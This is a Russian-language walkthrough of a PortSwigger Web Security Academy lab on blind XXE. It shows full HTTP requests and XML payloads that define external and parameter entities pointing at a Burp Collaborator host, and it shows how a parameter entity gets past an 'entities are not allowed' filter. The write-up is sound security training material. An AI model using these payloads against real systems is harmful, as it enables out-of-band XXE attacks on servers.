Для прохождения нужно отправить DNS-запрос, эксплуатируя уязвимость Blind XXE.

https://0ab1006604ea7b1e800f443c00660089.web-security-academy.net/

Solution

Я написал достаточно много райтапов на Port Swigger, и, возможно, не всем понятно, зачем я добавляю ссылку на поднятую лабу. Так вот, это для моего удобства, чтобы поставить фильтр в Burp на запросы, которые содержат данный домен и поддомен)

IMG

Иначе это выглядит вот так:

IMG

Вернемся к лабе. Похоже на то, что XXE опять в Check Stock, поэтому перейду туда. Вот запрос:

POST /product/stock HTTP/2
Host: 0ab1006604ea7b1e800f443c00660089.web-security-academy.net
Cookie: session=RLNCYmowyVXL6CM6X4t5Jj7CPuTNBMhl
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ab1006604ea7b1e800f443c00660089.web-security-academy.net/product?productId=1
Content-Type: application/xml
Content-Length: 107
Origin: https://0ab1006604ea7b1e800f443c00660089.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

<?xml version="1.0" encoding="UTF-8"?>
	<stockCheck>
		<productId>
			1
		</productId>
		<storeId>
			1
		</storeId>
	</stockCheck>

Попробую отправить запрос на Burp Collaborator. Вот сгенерированная ссылка:

7owf9flscilj765mfu9bfkre85ex2nqc.oastify.com

Соберу XML:

<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE payload [ <!ENTITY xxe SYSTEM "http://7owf9flscilj765mfu9bfkre85ex2nqc.oastify.com"> ]>
	<stockCheck>
		<productId>
			1
		</productId>
		<storeId>
			&xxe;
		</storeId>
	</stockCheck>

Добавлю в запрос и отправлю:

POST /product/stock HTTP/2
Host: 0ab1006604ea7b1e800f443c00660089.web-security-academy.net
Cookie: session=RLNCYmowyVXL6CM6X4t5Jj7CPuTNBMhl
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ab1006604ea7b1e800f443c00660089.web-security-academy.net/product?productId=1
Content-Type: application/xml
Content-Length: 107
Origin: https://0ab1006604ea7b1e800f443c00660089.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE payload [ <!ENTITY xxe SYSTEM "http://7owf9flscilj765mfu9bfkre85ex2nqc.oastify.com"> ]>
	<stockCheck>
		<productId>
			1
		</productId>
		<storeId>
			&xxe;
		</storeId>
	</stockCheck>

Любопытно:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 47

"Entities are not allowed for security reasons"

Попробую другой подход:

<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE payload [ <!ENTITY % xxe SYSTEM "http://97ehsh4uvk4lq8ooywsdymagr7xzlq9f.oastify.com"> %xxe; ]>
	<stockCheck>
		<productId>
			1
		</productId>
		<storeId>
			1
		</storeId>
	</stockCheck>

Тут я определил параметрическую сущность, которая ссылается на Burp Collaborator:

<!ENTITY % xxe SYSTEM "http://97ehsh4uvk4lq8ooywsdymagr7xzlq9f.oastify.com">

Затем эта сущность вызывается с помощью %xxe;, что позволяет обойти ограничение. Вот итоговый запрос:

POST /product/stock HTTP/2
Host: 0ab1006604ea7b1e800f443c00660089.web-security-academy.net
Cookie: session=RLNCYmowyVXL6CM6X4t5Jj7CPuTNBMhl
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ab1006604ea7b1e800f443c00660089.web-security-academy.net/product?productId=1
Content-Type: application/xml
Content-Length: 247
Origin: https://0ab1006604ea7b1e800f443c00660089.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE payload [ <!ENTITY % xxe SYSTEM "http://97ehsh4uvk4lq8ooywsdymagr7xzlq9f.oastify.com"> %xxe; ]>
	<stockCheck>
		<productId>
			1
		</productId>
		<storeId>
			1
		</storeId>
	</stockCheck>

Сработало:

IMG

Лаба решена)

IMG